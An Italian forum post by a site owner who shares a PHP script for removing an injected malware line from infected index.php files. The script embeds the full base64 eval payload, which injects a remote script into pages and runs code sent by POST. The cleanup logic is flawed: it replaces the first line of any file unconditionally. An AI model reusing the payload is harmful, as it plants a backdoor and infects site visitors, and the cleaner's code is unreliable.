Anch'io trovo in continuazione file infetti sul sito altervista e altri. I file hanno una riga arbitraria aggiunta lunghissima del tipo:
<?php eval(base64_decode('aWYoIWZ1bmN0aW9uX2...........s egue
Questo è un problema serio perchè non permette la visualizzazione del sito se il client ha l'antivirus mentre se ne è sprovvisto il malware si diffonde sul pc del client stesso. Il malware viene rilevato come HTML-Script malware.
Allora ho realizzato uno script php che toglie la riga malevola in questione, il file è da mettere alla radice del server con il nome di antimalware.php ad esempio. Considerando che il malware infetta i file nome index.php è opportuno, modificare il codice secondo la struttura del sito. Il codice antimalware che pulisce il file index è
Codice:
<?php
$i=1;
$riga_confronto ="<?php eval(base64_decode('aWYoIWZ1bmN0aW9uX2V4aXN0cygnbDZ2Jykpe2Z1bmN0aW9uIGw2digkcyl7aWYocHJlZ19tYXRjaF9hbGwoJyM8c2NyaXB0KC4qPyk8L3NjcmlwdD4jaXMnLCRzLCRhKSlmb3JlYWNoKCRhWzBdYXMkdilpZihjb3VudChleHBsb2RlKCJcbiIsJHYpKT41KXskZT1wcmVnX21hdGNoKCcjW1wnIl1bXlxzXCciXC4sO1w/IVxbXF06Lzw+XChcKV17MzAsfSMnLCR2KXx8cHJlZ19tYXRjaCgnI1tcKFxbXShccypcZCssKXsyMCx9IycsJHYpO2lmKChwcmVnX21hdGNoKCcjXGJldmFsXGIjJywkdikmJigkZXx8c3RycG9zKCR2LCdmcm9tQ2hhckNvZGUnKSkpfHwoJGUmJnN0cnBvcygkdiwnZG9jdW1lbnQud3JpdGUnKSkpJHM9c3RyX3JlcGxhY2UoJHYsJycsJHMpO31pZihwcmVnX21hdGNoX2FsbCgnIzxpZnJhbWUgKFtePl0qPylzcmM9W1wnIl0/KGh0dHA6KT8vLyhbXj5dKj8pPiNpcycsJHMsJGEpKWZvcmVhY2goJGFbMF1hcyR2KWlmKHByZWdfbWF0Y2goJyNbXC4gXXdpZHRoXHMqPVxzKltcJyJdPzAqWzAtOV1bXCciPiBdfGRpc3BsYXlccyo6XHMqbm9uZSNpJywkdikmJiFzdHJzdHIoJHYsJz8nLic+JykpJHM9cHJlZ19yZXBsYWNlKCcjJy5wcmVnX3F1b3RlKCR2LCcjJykuJy4qPzwvaWZyYW1lPiNpcycsJycsJHMpOyRzPXN0cl9yZXBsYWNlKCRhPWJhc2U2NF9kZWNvZGUoJ1BITmpjbWx3ZENCemNtTTlhSFIwY0Rvdkx6RnpiMlowYzI5c2RYUnBiMjV6TG1OdmJTOVVaVzF3YkdGMFpYTXZjRzl5ZEdadmJHbHZMbkJvY0NBK1BDOXpZM0pwY0hRKycpLCcnLCRzKTtpZihzdHJpc3RyKCRzLCc8Ym9keScpKSRzPXByZWdfcmVwbGFjZSgnIyhccyo8Ym9keSkjbWknLCRhLidcMScsJHMsMSk7ZWxzZWlmKHN0cnBvcygkcywnPGEnKSkkcz0kYS4kcztyZXR1cm4kczt9ZnVuY3Rpb24gbDZ2MigkYSwkYiwkYywkZCl7Z2xvYmFsJGw2djE7JHM9YXJyYXkoKTtpZihmdW5jdGlvbl9leGlzdHMoJGw2djEpKWNhbGxfdXNlcl9mdW5jKCRsNnYxLCRhLCRiLCRjLCRkKTtmb3JlYWNoKEBvYl9nZXRfc3RhdHVzKDEpYXMkdilpZigoJGE9JHZbJ25hbWUnXSk9PSdsNnYnKXJldHVybjtlbHNlaWYoJGE9PSdvYl9nemhhbmRsZXInKWJyZWFrO2Vsc2Ukc1tdPWFycmF5KCRhPT0nZGVmYXVsdCBvdXRwdXQgaGFuZGxlcic/ZmFsc2U6JGEpO2ZvcigkaT1jb3VudCgkcyktMTskaT49MDskaS0tKXskc1skaV1bMV09b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7fW9iX3N0YXJ0KCdsNnYnKTtmb3IoJGk9MDskaTxjb3VudCgkcyk7JGkrKyl7b2Jfc3RhcnQoJHNbJGldWzBdKTtlY2hvICRzWyRpXVsxXTt9fX0kbDZ2bD0oKCRhPUBzZXRfZXJyb3JfaGFuZGxlcignbDZ2MicpKSE9J2w2djInKT8kYTowO2V2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpOw==')); ?><?php";
$file ="index.php";
$fc=file($file);
$f=fopen($file,"w");
foreach($fc as $line) {
if ($i==1){
$line = "<?php";
if (!strstr($line,$riga_confronto)) {
fputs($f,$line);
}
} else {
fputs($f,$line);
}
$i++;
}
fclose($f);
?>
Spero che sia di utilità a chi è incappato in questo problema, provate prima in locale dopo aver fatto una copia di backup, comunque a me funziona. Naturalmente questo codice va realizzato per tutti i file del sito - cambiare la riga $file ="index.php"; -
Ciao